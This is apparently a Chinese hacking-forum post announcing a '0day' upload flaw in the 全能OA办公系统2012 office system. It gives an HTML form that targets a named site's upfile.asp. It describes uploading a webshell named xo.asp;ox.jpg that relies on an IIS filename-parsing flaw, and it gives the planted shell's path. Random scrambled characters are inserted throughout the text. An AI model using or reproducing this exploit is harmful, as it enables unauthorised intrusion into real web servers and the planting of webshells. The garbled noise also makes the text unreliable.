全能OA办公系统0day OA办公系统漏洞 上传漏洞

admin

全能OA办公系统 上传漏洞
/ z6 t* W8 g8 @3 R& Z" W​
# l. W& s5 }4 u& R; p" V9 f/ D系统介绍：

全能OA办公系统2012是功能非常强大的OA系统，目前功能已完全能满足日常办公需要。
! L. _1 a# q2 L* A8 R+ R+ M
主要功能：
) z! `. |* U  u% o7 P公司通告
工作计划
  V& Y9 R4 J. o. Q  a4 }& S通讯助理
客户资源
我的公文
- m- M- M! c1 T7 z* A5 Z公文传阅
公共资源
3 R" N, A; u) x1 H$ Q' I资源预约
今日考勤
; p* t) @' i( p* J5 X9 {% U7 r个人计划
" e* `4 M8 m, j( P# R+ E9 d, d  {个人通讯录
; s( r1 [# r* b0 @7 G个人基本档案
! m1 k! z) P- g% f* P: f未读邮件
发邮件
* Q# j0 C5 f, d( e6 c, G收件夹
寄件夹
$ V' O: {# G8 U# Y9 r网络硬盘
8 C6 X4 i7 Z( D网络会议
9 N% c2 G1 o; L网络调查
$ [( V. k% @' g$ R9 [+ ?8 i交流论坛
7 x% Y& d- o0 {1 a; l- m+ ]
有兴趣测试的朋友可以下源码看看
- g& E  [0 v" Y7 F# X3 ]
- V( g! u. N1 E4 Y9 [3 a6 R源码下载：

http://www.mycodes.net/30/4750.htm

漏洞介绍：

由upfile.asp上传文件漏洞引起
- N' y, h  g6 D) z* L/ E1 M
# a/ [) A* \: I6 L测试方法：
1 c2 J; r% b8 |/ z. D# y
使用名小子上传http://www.itlynn.com/upfile.asp即可
1 R0 L7 A9 T5 S
如果upfile.asp文件被删除不存在。

  那么可以试着访问http://www.itlynn.com/upfile/upfile.asp 。
" G, o* K2 |8 o! @6 o8 ^
如果存在那么将如下代码保存为upfile.html。

然后将action的参数修改为目标站点的url。例如 http://www.itlynn.com/upfile/upfile.asp。
5 F+ d! b1 }4 w; ?1 {: w( H
9 c& I- s7 t# w$ J& ?5 m, O
5 I' \( d3 D. E7 z/ K! o
5 e5 j3 _+ O" ]1 Z01 <table border='0' align="center" cellpadding="5">

02 <form method="POST"action="http://www.itlynn.com/upfile/upfile.asp"enctype="multipart/form-data"id="form1"name="form1">
. m# A/ i1 t' m+ N( h
03 <tr>
5 S; M$ U5 o8 W* w, u+ c3 c. o
04             <td>报错：</td>

05             <td><input type='radio' name='errnumber' value='0'>
/ C/ K* J" ~7 s) M
06               自动更名
4 b- i! E2 M0 |. @' }& J: N
! v& {7 `8 i, i! g07               <input type='radio' name='errnumber' value='1' checked>

08               报错方式

# K3 S( ]! q) L) v) d; m) ~09               <input type='radio' name='errnumber' value='2'>
3 d3 G+ _2 [0 d/ J5 {
10               直接覆盖</td>

11           </tr>

12           <tr>
' R8 k, u5 ?9 p( s
13             <td>主题：</td>

14             <td><input type='text' name='filename' size='30'></td>
* l+ J- k, e" ^' k' ]- H' E
+ n) P0 f- z' M& y6 C4 R  _15           </tr>

16           <tr>
- y6 x6 S) m+ D  b3 m( }9 Z
8 a6 z" e( m5 M5 f17             <td>文件：</td>

8 h/ e) t. ~5 x6 z& P18             <td><input type="file"name="fruit"size="30"></td>

19           </tr>

( @1 A9 e$ o  U- X9 _& `: z9 b, s20           <tr>

1 ]" y8 [6 ?5 U" n21             <td valign='top'>简介：</td>
  ]- M! O6 j! ~$ z" ]% ?; e
22             <td><textarea name='fileExt' cols='40' rows='5'></textarea></td>
  a& r/ o0 c% e0 r5 w
( u+ o4 `0 H4 W/ ?0 j23           </tr>
; |* S& v5 N- D! A- k, i5 N
24   

25             <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td>

; L7 U6 v! m; M% c) i3 h" g26           </tr>

9 p$ _7 G3 y- l+ ^. g" N* K/ ]! ]27         </form>

然后打开上传一个文件名为xo.asp;ox.jpg的文件。



上传成功后，马的路径是：http://www.itlynn.com/upfile/savepath/xo.asp;ox.jpg

% N( u5 E  G2 g/ V5 J此漏洞需要配合解析漏洞利用。
4 H9 S0 D# g3 N+ i: E7 Y
' U' {7 @( P! U: e3 c5 p: s/ |8 f